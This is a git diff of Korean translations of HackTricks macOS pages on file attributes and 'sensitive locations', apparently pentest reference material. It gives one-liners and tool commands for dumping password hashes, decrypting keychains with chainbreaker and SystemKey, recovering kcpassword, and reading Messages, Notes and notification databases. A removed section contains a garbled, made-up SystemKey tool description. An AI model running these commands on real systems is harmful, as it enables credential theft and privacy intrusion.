- `com.apple.cprotect`: \*OS: 파일 단위 암호화 데이터 (III/11)
|
||||
- `com.apple.installd.*`: \*OS: installd에서 사용되는 메타데이터, 예: `installType`, `uniqueInstallID`
|
||||
|
||||
### 리소스 포크 | macOS ADS
|
||||
|
||||
이는 **MacOS 기계에서 대체 데이터 스트림을 얻는 방법**입니다. **com.apple.ResourceFork**라는 확장 속성 내부에 내용을 저장하여 파일 내부에 저장할 수 있습니다. **file/..namedfork/rsrc**에 저장함으로써 가능합니다.
|
||||
이는 **MacOS 기계에서 대체 데이터 스트림을 얻는 방법**입니다. **com.apple.ResourceFork**라는 확장 속성 내에 내용을 저장하여 파일 내에 저장할 수 있습니다. **file/..namedfork/rsrc**에 저장함으로써 가능합니다.
|
||||
```bash
|
||||
echo "Hello" > a.txt
|
||||
echo "Hello Mac ADS" > a.txt/..namedfork/rsrc
|
||||
|
@ -216,13 +217,13 @@ find / -type f -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf
|
|||
|
||||
확장 속성 `com.apple.decmpfs`는 파일이 암호화되어 저장되었음을 나타냅니다. `ls -l`은 **크기가 0**으로 보고되며 압축된 데이터는이 속성 내에 있습니다. 파일에 액세스 할 때마다 메모리에서 복호화됩니다.
|
||||
|
||||
이 attr은 `ls -lO`로 볼 수 있으며 압축 파일은 `UF_COMPRESSED` 플래그로 태그가 지정됩니다. 압축 파일이 제거되면이 플래그가 `chflags nocompressed </path/to/file>`로 제거되면 시스템은 파일이 압축되었음을 알지 못하므로 데이터에 액세스 할 수 없습니다 (실제로 비어 있는 것으로 생각합니다).
|
||||
이 attr은 `ls -lO`로 볼 수 있으며 압축 파일은 `UF_COMPRESSED` 플래그로 태그가 지정됩니다. 압축 파일이 제거되면이 플래그가 `chflags nocompressed </path/to/file>`로 제거되면 시스템은 파일이 압축되었음을 알지 못하므로 데이터에 액세스하거나 압축 해제 할 수 없습니다 (실제로 비어 있다고 생각합니다).
|
||||
|
||||
afscexpand 도구를 사용하여 강제로 파일을 압축 해제 할 수 있습니다.
|
||||
afscexpand 도구를 사용하여 파일을 강제로 압축 해제 할 수 있습니다.
|
||||
|
||||
## **Universal binaries &** Mach-o Format
|
||||
|
||||
Mac OS 이진 파일은 일반적으로 **universal binaries**로 컴파일됩니다. **Universal binary**는 **동일한 파일에서 여러 아키텍처를 지원**할 수 있습니다.
|
||||
Mac OS 이진 파일은 일반적으로 **universal binaries**로 컴파일됩니다. **Universal binary**는 **동일한 파일에서 여러 아키텍처를 지원** 할 수 있습니다.
|
||||
|
||||
{% content-ref url="universal-binaries-and-mach-o-format.md" %}
|
||||
[universal-binaries-and-mach-o-format.md](universal-binaries-and-mach-o-format.md)
|
||||
|
@ -238,10 +239,10 @@ Mac OS 이진 파일은 일반적으로 **universal binaries**로 컴파일됩
|
|||
|
||||
디렉토리 `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System`에는 **다른 파일 확장자와 관련된 위험에 대한 정보가 저장**됩니다. 이 디렉토리는 파일을 다양한 위험 수준으로 분류하여 Safari가 이러한 파일을 다운로드 한 후 처리하는 방식에 영향을줍니다. 카테고리는 다음과 같습니다:
|
||||
|
||||
* **LSRiskCategorySafe**: 이 카테고리에 속하는 파일은 **완전히 안전**하다고 간주됩니다. Safari는 이러한 파일을 자동으로 다운로드 한 후 엽니다.
|
||||
* **LSRiskCategorySafe**: 이 카테고리의 파일은 **완전히 안전**하다고 간주됩니다. Safari는 이러한 파일을 자동으로 다운로드 한 후 엽니다.
|
||||
* **LSRiskCategoryNeutral**: 이러한 파일은 경고가 없으며 Safari에 의해 **자동으로 열리지 않습니다**.
|
||||
* **LSRiskCategoryUnsafeExecutable**: 이 카테고리의 파일은 응용 프로그램임을 나타내는 경고를 **발생**시킵니다. 이는 사용자에게 경고하는 보안 조치 역할을합니다.
|
||||
* **LSRiskCategoryMayContainUnsafeExecutable**: 이 카테고리는 실행 파일을 포함 할 수있는 아카이브와 같은 파일을위한 것입니다. Safari는 모든 내용이 안전하거나 중립적임을 확인할 수 없는 한 **경고**를 발생시킵니다.
|
||||
* **LSRiskCategoryUnsafeExecutable**: 이 카테고리의 파일은 응용 프로그램임을 나타내는 경고를 **트리거**합니다. 이는 사용자에게 경고하는 보안 조치로 작동합니다.
|
||||
* **LSRiskCategoryMayContainUnsafeExecutable**: 이 카테고리는 실행 파일을 포함 할 수있는 아카이브와 같은 파일을위한 것입니다. Safari는 모든 내용이 안전하거나 중립적임을 확인할 수 없는 한 **경고를 트리거**합니다.
|
||||
|
||||
## 로그 파일
|
||||
|
||||
|
@ -250,6 +251,6 @@ Mac OS 이진 파일은 일반적으로 **universal binaries**로 컴파일됩
|
|||
* **`/private/var/log/asl/*.asl`**: 이것은 흥미로운 정보를 포함 할 수있는 Apple 시스템 로그입니다.
|
||||
* **`$HOME/Library/Preferences/com.apple.recentitems.plist`**: "Finder"를 통해 최근에 액세스 한 파일 및 응용 프로그램을 저장합니다.
|
||||
* **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**: 시스템 시작시 시작할 항목을 저장합니다.
|
||||
* **`$HOME/Library/Logs/DiskUtility.log`**: DiskUtility 앱에 대한 로그 파일 (USB를 포함한 드라이브에 대한 정보)
|
||||
* **`$HOME/Library/Logs/DiskUtility.log`**: DiskUtility 앱에 대한 로그 파일 (USB를 포함한 드라이브에 대한 정보 포함)
|
||||
* **`/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist`**: 무선 액세스 포인트에 대한 데이터입니다.
|
||||
* **`/private/var/db/launchd.db/com.apple.launchd/overrides.plist`**: 비활성화 된 데몬 목록입니다.
|
||||
|
|
|
@ -1,16 +1,16 @@
|
|||
# macOS 민감한 위치
|
||||
# macOS 민감한 위치 및 흥미로운 데몬
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team 전문가)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요.**
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -19,7 +19,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
### 그림자 비밀번호
|
||||
|
||||
그림자 비밀번호는 사용자의 구성과 함께 **`/var/db/dslocal/nodes/Default/users/`**에 위치한 plist에 저장됩니다.\
|
||||
다음의 원라이너를 사용하여 **사용자에 대한 모든 정보** (해시 정보 포함)를 덤프할 수 있습니다:
|
||||
다음 원라이너는 **사용자에 대한 모든 정보** (해시 정보 포함)를 덤프하는 데 사용될 수 있습니다:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -27,9 +27,9 @@ for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
[**이와 같은 스크립트**](https://gist.github.com/teddziuba/3ff08bdda120d1f7822f3baf52e606c2) 또는 [**이 스크립트**](https://github.com/octomagon/davegrohl.git)를 사용하여 해시를 **hashcat 형식**으로 변환할 수 있습니다.
|
||||
[**이와 같은 스크립트**](https://gist.github.com/teddziuba/3ff08bdda120d1f7822f3baf52e606c2) 또는 [**이 스크립트**](https://github.com/octomagon/davegrohl.git)를 사용하여 **해시를 hashcat 형식**으로 변환할 수 있습니다.
|
||||
|
||||
다음은 모든 비서비스 계정의 자격 증명을 `-m 7100` (macOS PBKDF2-SHA512)의 hashcat 형식으로 덤프하는 대체 one-liner입니다:
|
||||
모든 비서비스 계정의 자격 증명을 macOS PBKDF2-SHA512 형식의 hashcat 형식으로 덤프하는 대체 원 라이너:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -39,7 +39,7 @@ sudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex
|
|||
|
||||
### 키체인 덤프
|
||||
|
||||
security 바이너리를 사용하여 암호를 복호화하여 덤프할 때, 사용자에게 이 작업을 허용하도록 여러 프롬프트가 나타납니다.
|
||||
보안 이진 파일을 사용하여 **암호를 해독하여 덤프할 때**, 사용자에게 이 작업을 허용할 것인지 묻는 프롬프트가 여러 번 나타납니다.
|
||||
```bash
|
||||
#security
|
||||
secuirty dump-trust-settings [-s] [-d] #List certificates
|
||||
|
@ -51,64 +51,44 @@ security dump-keychain -d #Dump all the info, included secrets (the user will be
|
|||
### [Keychaindump](https://github.com/juuso/keychaindump)
|
||||
|
||||
{% hint style="danger" %}
|
||||
[이 댓글](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760)에 따르면 이 도구들은 Big Sur에서 더 이상 작동하지 않는 것 같습니다.
|
||||
이 [주석](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760)을 기반으로 보면 이 도구들은 빅 서에서 더 이상 작동하지 않는 것으로 보입니다.
|
||||
{% endhint %}
|
||||
|
||||
### Keychaindump 개요
|
||||
|
||||
**keychaindump**라는 도구는 macOS 키체인에서 비밀번호를 추출하기 위해 개발되었으나, [토론](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760)에 따르면 Big Sur와 같은 최신 macOS 버전에서는 제한이 있습니다. **keychaindump**의 사용을 위해서는 공격자가 **root** 권한을 획득하고 권한을 상승시켜야 합니다. 이 도구는 사용자 로그인 시 편의를 위해 기본적으로 키체인이 잠금 해제되어 있어 애플리케이션이 사용자의 비밀번호를 반복해서 요구하지 않고도 액세스할 수 있는 사실을 이용합니다. 그러나 사용자가 각 사용 후 키체인을 잠그기로 선택한 경우 **keychaindump**는 효과가 없어집니다.
|
||||
**keychaindump**라는 도구는 macOS 키체인에서 비밀번호를 추출하기 위해 개발되었지만, Big Sur와 같은 최신 macOS 버전에서 제한 사항을 겪고 있습니다. 이는 [토론](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760)에서 언급되었습니다. **keychaindump**의 사용은 공격자가 **root** 권한을 얻어야 하며 권한을 상승해야 합니다. 이 도구는 편리함을 위해 사용자 로그인 시 기본적으로 키체인이 잠금 해제되어 있고, 애플리케이션이 사용자의 비밀번호를 반복해서 요구하지 않고도 액세스할 수 있는 사실을 악용합니다. 그러나 사용자가 각 사용 후 키체인을 잠그기로 선택하면 **keychaindump**는 효과가 없어집니다.
|
||||
|
||||
**Keychaindump**는 **securityd**라는 특정 프로세스를 대상으로 작동합니다. Apple은 이 프로세스를 인가 및 암호화 작업을 위한 데몬으로 설명하며, 키체인에 액세스하는 데 중요합니다. 추출 과정은 사용자의 로그인 비밀번호에서 유도된 **마스터 키**를 식별하는 것으로 이루어집니다. 이 키는 키체인 파일을 읽는 데 필수적입니다. **keychaindump**는 `vmmap` 명령을 사용하여 **securityd**의 메모리 힙을 스캔하여 `MALLOC_TINY`로 플래그 지정된 영역 내에서 잠재적인 키를 찾습니다. 다음 명령을 사용하여 이러한 메모리 위치를 검사합니다:
|
||||
**Keychaindump**는 Apple에 의해 권한 부여 및 암호화 작업을 위한 데몬으로 설명되는 특정 프로세스인 **securityd**를 대상으로 작동합니다. 추출 프로세스는 사용자 로그인 비밀번호에서 유도된 **Master Key**를 식별하는 것을 포함합니다. 이 키는 키체인 파일을 읽는 데 필수적입니다. **keychaindump**는 `vmmap` 명령을 사용하여 **securityd**의 메모리 힙을 스캔하여 `MALLOC_TINY`로 플래그 지정된 영역 내에서 잠재적인 키를 찾습니다. 이러한 메모리 위치를 검사하기 위해 다음 명령이 사용됩니다:
|
||||
```bash
|
||||
sudo vmmap <securityd PID> | grep MALLOC_TINY
|
||||
```
|
||||
잠재적인 마스터 키를 식별한 후, **keychaindump**는 마스터 키 후보를 나타내는 특정 패턴 (`0x0000000000000018`)을 힙에서 검색합니다. **keychaindump**의 소스 코드에 설명된 대로, 이 키를 활용하기 위해서는 해독을 포함한 추가 단계가 필요합니다. 이 영역에 집중하는 분석가들은 키체인을 복호화하기 위한 중요한 데이터가 **securityd** 프로세스의 메모리에 저장되어 있다는 점을 유의해야 합니다. **keychaindump**를 실행하기 위한 예시 명령어는 다음과 같습니다:
|
||||
잠재적인 마스터 키를 식별한 후 **keychaindump**는 마스터 키 후보를 나타내는 특정 패턴(`0x0000000000000018`)을 찾기 위해 힙을 검색합니다. **keychaindump** 소스 코드에 기술된 대로 이 키를 활용하려면 해독 과정을 포함한 추가 단계가 필요합니다. 이 영역에 초점을 맞춘 분석가들은 키체인을 해독하는 데 필수적인 데이터가 **securityd** 프로세스의 메모리에 저장된다는 점을 유의해야 합니다. **keychaindump**를 실행하는 예시 명령어는 다음과 같습니다:
|
||||
```bash
|
||||
sudo ./keychaindump
|
||||
```
|
||||
### chainbreaker
|
||||
|
||||
[**Chainbreaker**](https://github.com/n0fate/chainbreaker)는 OSX 키체인에서 다음과 같은 유형의 정보를 법적으로 안전한 방식으로 추출하는 데 사용할 수 있습니다:
|
||||
[**Chainbreaker**](https://github.com/n0fate/chainbreaker)은 다음과 같은 유형의 정보를 OSX 키체인에서 법의학적으로 안전한 방식으로 추출하는 데 사용할 수 있습니다:
|
||||
|
||||
* 해시된 키체인 비밀번호, [hashcat](https://hashcat.net/hashcat/) 또는 [John the Ripper](https://www.openwall.com/john/)로 크래킹에 적합합니다.
|
||||
* 해시된 키체인 비밀번호, [hashcat](https://hashcat.net/hashcat/) 또는 [John the Ripper](https://www.openwall.com/john/)로 크랙하기에 적합
|
||||
* 인터넷 비밀번호
|
||||
* 일반 비밀번호
|
||||
* 개인 키
|
||||
* 공개 키
|
||||
* X509 인증서
|
||||
* 보안 메모
|
||||
* 안전한 노트
|
||||
* Appleshare 비밀번호
|
||||
|
||||
키체인 잠금 비밀번호, [volafox](https://github.com/n0fate/volafox) 또는 [volatility](https://github.com/volatilityfoundation/volatility)를 사용하여 얻은 마스터 키 또는 SystemKey와 같은 잠금 해제 파일이 제공되면 Chainbreaker는 평문 비밀번호도 제공합니다.
|
||||
키체인 잠금 비밀번호, [volafox](https://github.com/n0fate/volafox) 또는 [volatility](https://github.com/volatilityfoundation/volatility)를 사용하여 얻은 마스터 키, 또는 SystemKey와 같은 잠금 파일이 제공된 경우, Chainbreaker는 또한 평문 암호를 제공합니다.
|
||||
|
||||
키체인을 잠금 해제하는 이러한 방법 중 하나가 없으면 Chainbreaker는 사용 가능한 다른 모든 정보를 표시합니다.
|
||||
이러한 방법 중 하나로 키체인을 잠금 해제하지 않은 경우, Chainbreaker는 모든 다른 사용 가능한 정보를 표시합니다.
|
||||
|
||||
#### **키체인 키 덤프**
|
||||
```bash
|
||||
#Dump all keys of the keychain (without the passwords)
|
||||
python2.7 chainbreaker.py --dump-all /Library/Keychains/System.keychain
|
||||
```
|
||||
#### **SystemKey를 사용하여 키체인 키(비밀번호 포함) 덤프하기**
|
||||
|
||||
SystemKey is a tool that can be used to dump keychain keys, including passwords, from a macOS system. It is a powerful privilege escalation technique that can be used by hackers to gain unauthorized access to sensitive information.
|
||||
|
||||
SystemKey는 macOS 시스템에서 키체인 키를 덤프하는 데 사용할 수 있는 도구입니다. 이는 해커가 미승인된 접근 권한으로 민감한 정보에 접근하는 데 사용할 수 있는 강력한 권한 상승 기술입니다.
|
||||
|
||||
To use SystemKey, you need root privileges on the target macOS system. Once you have obtained root access, you can run the following command to dump the keychain keys:
|
||||
|
||||
SystemKey를 사용하려면 대상 macOS 시스템에서 root 권한이 필요합니다. root 액세스를 획득한 후 다음 명령을 실행하여 키체인 키를 덤프할 수 있습니다:
|
||||
|
||||
```bash
|
||||
/System/Library/Extensions/SystemKey.kext/Contents/Resources/SystemKeyTool -d
|
||||
```
|
||||
|
||||
This command will dump all the keychain keys, including passwords, to the terminal. The output will contain sensitive information that can be used by hackers to gain unauthorized access to various accounts and services.
|
||||
|
||||
이 명령은 모든 키체인 키(비밀번호 포함)를 터미널에 덤프합니다. 출력에는 해커가 다양한 계정과 서비스에 미승인된 액세스를 얻는 데 사용할 수 있는 민감한 정보가 포함됩니다.
|
||||
|
||||
It is important to note that using SystemKey to dump keychain keys without proper authorization is illegal and unethical. This technique should only be used for legitimate purposes, such as penetration testing or authorized security audits.
|
||||
|
||||
SystemKey를 사용하여 적절한 권한 없이 키체인 키를 덤프하는 것은 불법적이고 윤리적으로 문제가 됩니다. 이 기술은 침투 테스트나 승인된 보안 감사와 같은 합법적인 목적으로만 사용해야 합니다.
|
||||
#### **SystemKey를 사용하여 키체인 키(비밀번호 포함) 덤프**
|
||||
```bash
|
||||
# First, get the keychain decryption key
|
||||
# To get this decryption key you need to be root and SIP must be disabled
|
||||
|
@ -116,7 +96,7 @@ hexdump -s 8 -n 24 -e '1/1 "%.2x"' /var/db/SystemKey && echo
|
|||
## Use the previous key to decrypt the passwords
|
||||
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain
|
||||
```
|
||||
#### **해시를 크래킹하여 키체인 키(비밀번호 포함) 덤프하기**
|
||||
#### **해시를 크래킹하여 키체인 키(비밀번호 포함) 덤프**
|
||||
```bash
|
||||
# Get the keychain hash
|
||||
python2.7 chainbreaker.py --dump-keychain-password-hash /Library/Keychains/System.keychain
|
||||
|
@ -125,9 +105,9 @@ hashcat.exe -m 23100 --keep-guessing hashes.txt dictionary.txt
|
|||
# Use the key to decrypt the passwords
|
||||
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain
|
||||
```
|
||||
#### **메모리 덤프를 사용하여 키체인 키(비밀번호 포함) 덤프하기**
|
||||
#### **메모리 덤프를 사용하여 키체인 키(비밀번호 포함) 덤프**
|
||||
|
||||
**메모리 덤프**를 수행하려면 [다음 단계](..#osxpmem을 사용하여 메모리 덤프하기)를 따르세요.
|
||||
[다음 단계](../#dumping-memory-with-osxpmem)를 따라 **메모리 덤프**를 수행합니다.
|
||||
```bash
|
||||
#Use volafox (https://github.com/n0fate/volafox) to extract possible keychain passwords
|
||||
# Unformtunately volafox isn't working with the latest versions of MacOS
|
||||
|
@ -136,21 +116,21 @@ python vol.py -i ~/Desktop/show/macosxml.mem -o keychaindump
|
|||
#Try to extract the passwords using the extracted keychain passwords
|
||||
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain
|
||||
```
|
||||
#### **사용자의 비밀번호를 사용하여 키체인 키(비밀번호 포함) 덤프하기**
|
||||
#### **사용자 비밀번호를 사용하여 키체인 키(비밀번호 포함) 덤프**
|
||||
|
||||
사용자의 비밀번호를 알고 있다면, 해당 비밀번호를 사용하여 사용자에게 속한 키체인을 덤프하고 복호화할 수 있습니다.
|
||||
사용자 비밀번호를 알고 있다면 해당 비밀번호를 사용하여 사용자에게 속한 키체인을 덤프하고 복호화할 수 있습니다.
|
||||
```bash
|
||||
#Prompt to ask for the password
|
||||
python2.7 chainbreaker.py --dump-all --password-prompt /Users/<username>/Library/Keychains/login.keychain-db
|
||||
```
|
||||
### kcpassword
|
||||
|
||||
**kcpassword** 파일은 **사용자의 로그인 비밀번호**를 저장하는 파일입니다. 그러나 이 파일은 시스템 소유자가 **자동 로그인을 활성화**한 경우에만 사용됩니다. 따라서 사용자는 비밀번호를 묻지 않고 자동으로 로그인됩니다 (이는 안전하지 않습니다).
|
||||
**kcpassword** 파일은 **사용자의 로그인 암호**를 보유하는 파일이지만 시스템 소유자가 **자동 로그인을 활성화**한 경우에만 해당됩니다. 따라서 사용자는 암호를 묻지 않고 자동으로 로그인됩니다 (이는 안전하지 않습니다).
|
||||
|
||||
비밀번호는 **`/etc/kcpassword`** 파일에 **`0x7D 0x89 0x52 0x23 0xD2 0xBC 0xDD 0xEA 0xA3 0xB9 0x1F`** 키로 xor 연산된 상태로 저장됩니다. 사용자의 비밀번호가 키보다 길 경우, 키는 재사용됩니다.\
|
||||
이로 인해 비밀번호는 [**이 스크립트**](https://gist.github.com/opshope/32f65875d45215c3677d)와 같은 스크립트를 사용하여 쉽게 복구할 수 있습니다.
|
||||
암호는 **`/etc/kcpassword`** 파일에 저장되며 **`0x7D 0x89 0x52 0x23 0xD2 0xBC 0xDD 0xEA 0xA3 0xB9 0x1F`** 키로 xor 연산됩니다. 사용자의 암호가 키보다 긴 경우 키가 재사용됩니다.\
|
||||
이로 인해 암호를 복구하기가 상당히 쉬워지며, 예를 들어 [**이 스크립트**](https://gist.github.com/opshope/32f65875d45215c3677d)를 사용하여 복구할 수 있습니다.
|
||||
|
||||
## 데이터베이스에서 흥미로운 정보
|
||||
## 데이터베이스의 흥미로운 정보
|
||||
|
||||
### Messages
|
||||
```bash
|
||||
|
@ -164,18 +144,20 @@ sqlite3 $HOME/Suggestions/snippets.db 'select * from emailSnippets'
|
|||
|
||||
알림 데이터는 `$(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/`에서 찾을 수 있습니다.
|
||||
|
||||
가장 흥미로운 정보는 **blob**에 있을 것입니다. 따라서 해당 내용을 **추출**하고 **인간이 읽을 수 있는** 형태로 **변환**하거나 **`strings`**를 사용해야 합니다. 액세스하려면 다음을 수행할 수 있습니다:
|
||||
대부분의 흥미로운 정보는 **blob**에 있을 것입니다. 따라서 해당 내용을 **추출**하고 **가독성** 있게 **변환**하거나 **`strings`**를 사용해야 합니다. 액세스하려면 다음을 수행할 수 있습니다:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
cd $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/
|
||||
strings $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/db2/db | grep -i -A4 slack
|
||||
```
|
||||
### 노트
|
||||
{% endcode %}
|
||||
|
||||
### 참고
|
||||
|
||||
사용자의 **노트**는 `~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite`에서 찾을 수 있습니다.
|
||||
|
||||
{% endcode %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite .tables
|
||||
|
||||
|
@ -184,16 +166,61 @@ for i in $(sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.s
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
<details>
|
||||
## 환경 설정
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
macOS 앱의 환경 설정은 **`$HOME/Library/Preferences`**에 위치하며, iOS의 경우 `/var/mobile/Containers/Data/Application/<UUID>/Library/Preferences`에 있습니다. 
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
macOS에서는 **`defaults`**라는 CLI 도구를 사용하여 **환경 설정 파일을 수정**할 수 있습니다.
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기교를 공유하세요.
|
||||
**`/usr/sbin/cfprefsd`**는 XPC 서비스 `com.apple.cfprefsd.daemon` 및 `com.apple.cfprefsd.agent`를 요청하고, 환경 설정을 수정하는 등의 작업을 수행할 수 있습니다.
|
||||
|
||||
</details>
|
||||
## 시스템 알림
|
||||
|
||||
### Darwin 알림
|
||||
|
||||
알림을 위한 주요 데몬은 **`/usr/sbin/notifyd`**입니다. 알림을 받으려면 클라이언트가 `com.apple.system.notification_center` Mach 포트를 통해 등록해야 합니다 (`sudo lsmp -p <pid notifyd>`로 확인할 수 있음). 해당 데몬은 `/etc/notify.conf` 파일로 구성할 수 있습니다.
|
||||
|
||||
알림에 사용되는 이름은 고유한 역방향 DNS 표기법을 사용하며, 해당 알림 중 하나로 전송되면 처리할 수 있는 클라이언트가 수신합니다.
|
||||
|
||||
현재 상태를 덤프하고(모든 이름을 볼 수 있음) 신호 SIGUSR2를 notifyd 프로세스에 보내 생성된 파일을 읽어들일 수 있습니다: `/var/run/notifyd_<pid>.status`:
|
||||
```bash
|
||||
ps -ef | grep -i notifyd
|
||||
0 376 1 0 15Mar24 ?? 27:40.97 /usr/sbin/notifyd
|
||||
|
||||
sudo kill -USR2 376
|
||||
|
||||
cat /var/run/notifyd_376.status
|
||||
[...]
|
||||
pid: 94379 memory 5 plain 0 port 0 file 0 signal 0 event 0 common 10
|
||||
memory: com.apple.system.timezone
|
||||
common: com.apple.analyticsd.running
|
||||
common: com.apple.CFPreferences._domainsChangedExternally
|
||||
common: com.apple.security.octagon.joined-with-bottle
|
||||
[...]
|
||||
```
|
||||
### 분산 알림 센터
|
||||
|
||||
**분산 알림 센터**는 주요 이진 파일이 **`/usr/sbin/distnoted`**인데, 알림을 보내는 또 다른 방법입니다. 일부 XPC 서비스를 노출하며 클라이언트를 확인하기 위해 일부 확인을 수행합니다.
|
||||
|
||||
### Apple Push Notifications (APN)
|
||||
|
||||
이 경우, 애플리케이션은 **주제**에 등록할 수 있습니다. 클라이언트는 **`apsd`**를 통해 애플의 서버에 연락하여 토큰을 생성할 것입니다.\
|
||||
그런 다음 제공 업체는 또한 토큰을 생성하고 애플의 서버에 연결하여 클라이언트에게 메시지를 보낼 수 있습니다. 이러한 메시지는 로컬로 **`apsd`**에 의해 수신되며, 이는 해당 메시지를 기다리는 애플리케이션에게 알림을 전달할 것입니다.
|
||||
|
||||
환경 설정은 `/Library/Preferences/com.apple.apsd.plist`에 위치합니다.
|
||||
|
||||
macOS에는 `/Library/Application\ Support/ApplePushService/aps.db`에, iOS에는 `/var/mobile/Library/ApplePushService`에 메시지의 로컬 데이터베이스가 있습니다. 이 데이터베이스에는 `incoming_messages`, `outgoing_messages`, `channel`이라는 3개의 테이블이 있습니다.
|
||||
```bash
|
||||
sudo sqlite3 /Library/Application\ Support/ApplePushService/aps.db
|
||||
```
|
||||
또한 다음을 사용하여 데몬 및 연결에 대한 정보를 얻을 수 있습니다:
|
||||
```bash
|
||||
/System/Library/PrivateFrameworks/ApplePushService.framework/apsctl status
|
||||
```
|
||||
## 사용자 알림
|
||||
|
||||
이것들은 사용자가 화면에서 볼 수 있는 알림입니다:
|
||||
|
||||
- **`CFUserNotification`**: 이 API는 화면에 메시지가 포함된 팝업을 표시하는 방법을 제공합니다.
|
||||
- **게시판**: iOS에서 사라지는 배너를 표시하며 알림 센터에 저장됩니다.
|
||||
- **`NSUserNotificationCenter`**: 이것은 MacOS의 iOS 게시판입니다. 알림과 관련된 데이터베이스는 `/var/folders/<user temp>/0/com.apple.notificationcenter/db2/db`에 위치해 있습니다.
|
||||
|
|
|
@ -2,62 +2,60 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 **제로부터 영웅이 될 때까지 AWS 해킹 배우기**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 제로에서 영웅이 될 때까지 AWS 해킹 배우기</strong></summary>
|
||||
|
||||
다른 HackTricks 지원 방법:
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
